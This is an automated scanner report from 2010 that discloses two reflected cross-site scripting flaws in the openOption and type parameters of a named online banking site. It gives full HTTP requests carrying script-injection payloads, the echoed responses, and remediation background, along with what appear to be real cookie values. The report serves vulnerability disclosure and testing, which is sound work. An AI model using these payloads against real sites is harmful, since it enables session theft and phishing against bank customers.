banking.ingdirect.com | CWE-79 | XSS | Vulnerability Crawler

Loading
Loading

Cross Site Scripting, XSS, Vulnerability Crawler

Report generated by XSS.CX at Fri Dec 10 17:50:06 CST 2010.


Cross Site Scripting in banking.ingdirect.com

1. Cross-site scripting (reflected)

1.1. https://banking.ingdirect.com/savings/initial.vm [openOption parameter]

1.2. https://banking.ingdirect.com/savings/initial.vm [type parameter]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://banking.ingdirect.com/savings/initial.vm [openOption parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://banking.ingdirect.com
Path:   /savings/initial.vm

Issue detail

The value of the openOption request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dca9d"><script>alert(1)</script>77fc9fba7d3 was submitted in the openOption parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /savings/initial.vm?type=4000&openOption=ExistingPersonalCustomerdca9d"><script>alert(1)</script>77fc9fba7d3 HTTP/1.1
Host: banking.ingdirect.com
Connection: keep-alive
Referer: http://www.ingdirect.com/nofees/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ING%5FDIRECT%5FUS%5FUserKey=o64%2Eg%2E0urj6h5jn04bxtq26g9ekmmsokka4%7C; op202displayosalandingpagegum=a03p08k0jd26c4l06t42fe019; ING_DIRECT_US_Promo=%99%64%68%74%bb%6c%68; __utma=60842100.731613379.1291523705.1291516564.1292024521.3; __utmc=60842100; __utmz=60842100.1292024521.3.3.utmcsr=Google|utmccn=OSA_Non_Brand|utmcmd=CPC|utmctr=orange%20bank; op202googlegum=a02g05g0bh26caj08f455da91; op202googleliid=a02g05g0bh26caj08f455da91; ING%5FDIRECT%5FUS%5FPromo=%99%8D%92%80%C2stmo; __utmb=60842100

Response

HTTP/1.1 200 OK
Connection: close
Set-Cookie: JSESSIONID=FFCB516B702C65820B92994CCDD03061; Path=/savings
Set-Cookie: ING_DIRECT_US_Promo=%99%64%68%74%bb%6c%68; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Set-Cookie: BIGipServerbanking.ingdirect.com_savings_80=908040202.20480.0000; path=/
Server: Apache/2.2.8 (Win32) mod_jk/1.2.26
Content-Language: en-US
Content-Type: text/html;charset=ISO-8859-1
Date: Fri, 10 Dec 2010 23:45:49 GMT
Content-Length: 74017
ETag: "pv11a3f55e56d1fe06e148fcf9224eb8ac"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
X-PvInfo: [S10201.C6966.A6526.RA0.G19FE.U4718A3A1].[OT/html.OG/pages]


<html>
<head>
<title>
    Electric Orange     </title>
        <link rel="stylesheet" type="text/css" href="    https://home.ingdirect.com/css/eo.css" />
<link rel="stylesheet"
...[SNIP]...
<input type="hidden" name="openOption" id="initialOpenOption" value="ExistingPersonalCustomerdca9d"><script>alert(1)</script>77fc9fba7d3" />
...[SNIP]...

1.2. https://banking.ingdirect.com/savings/initial.vm [type parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://banking.ingdirect.com
Path:   /savings/initial.vm

Issue detail

The value of the type request parameter is copied into an HTML comment. The payload 3883c--><script>alert(1)</script>04643ee2f83 was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /savings/initial.vm?type=40003883c--><script>alert(1)</script>04643ee2f83&openOption=ExistingPersonalCustomer HTTP/1.1
Host: banking.ingdirect.com
Connection: keep-alive
Referer: http://www.ingdirect.com/nofees/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ING%5FDIRECT%5FUS%5FUserKey=o64%2Eg%2E0urj6h5jn04bxtq26g9ekmmsokka4%7C; op202displayosalandingpagegum=a03p08k0jd26c4l06t42fe019; ING_DIRECT_US_Promo=%99%64%68%74%bb%6c%68; __utma=60842100.731613379.1291523705.1291516564.1292024521.3; __utmc=60842100; __utmz=60842100.1292024521.3.3.utmcsr=Google|utmccn=OSA_Non_Brand|utmcmd=CPC|utmctr=orange%20bank; op202googlegum=a02g05g0bh26caj08f455da91; op202googleliid=a02g05g0bh26caj08f455da91; ING%5FDIRECT%5FUS%5FPromo=%99%8D%92%80%C2stmo; __utmb=60842100

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Set-Cookie: JSESSIONID=F348E2102A4E0719E3C5A73A3D19EB40; Path=/savings
Set-Cookie: BIGipServerbanking.ingdirect.com_savings_80=908040202.20480.0000; path=/
Server: Apache/2.2.8 (Win32) mod_jk/1.2.26
Content-Language: en-US
Content-Type: text/html;charset=ISO-8859-1
Date: Fri, 10 Dec 2010 23:45:35 GMT
Content-Length: 2395
ETag: "pvcddd58d826ab866460d2e431c9f51846"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
X-PvInfo: [S10201.C6966.A6526.RA0.G19FE.U4DB8576].[OT/html.OG/pages]

<html>
<html>
<head>
< ;title></title>
    <link rel="stylesheet" type="text/css" href="    https://home.ingdirect.com/css/openaccount_savings.css" />
<script language="JavaScript
...[SNIP]...
<!--errormsg:For input string: "40003883c--><script>alert(1)</script>04643ee2f83"-->
...[SNIP]...

Report generated by XSS.CX at Fri Dec 10 17:50:06 CST 2010.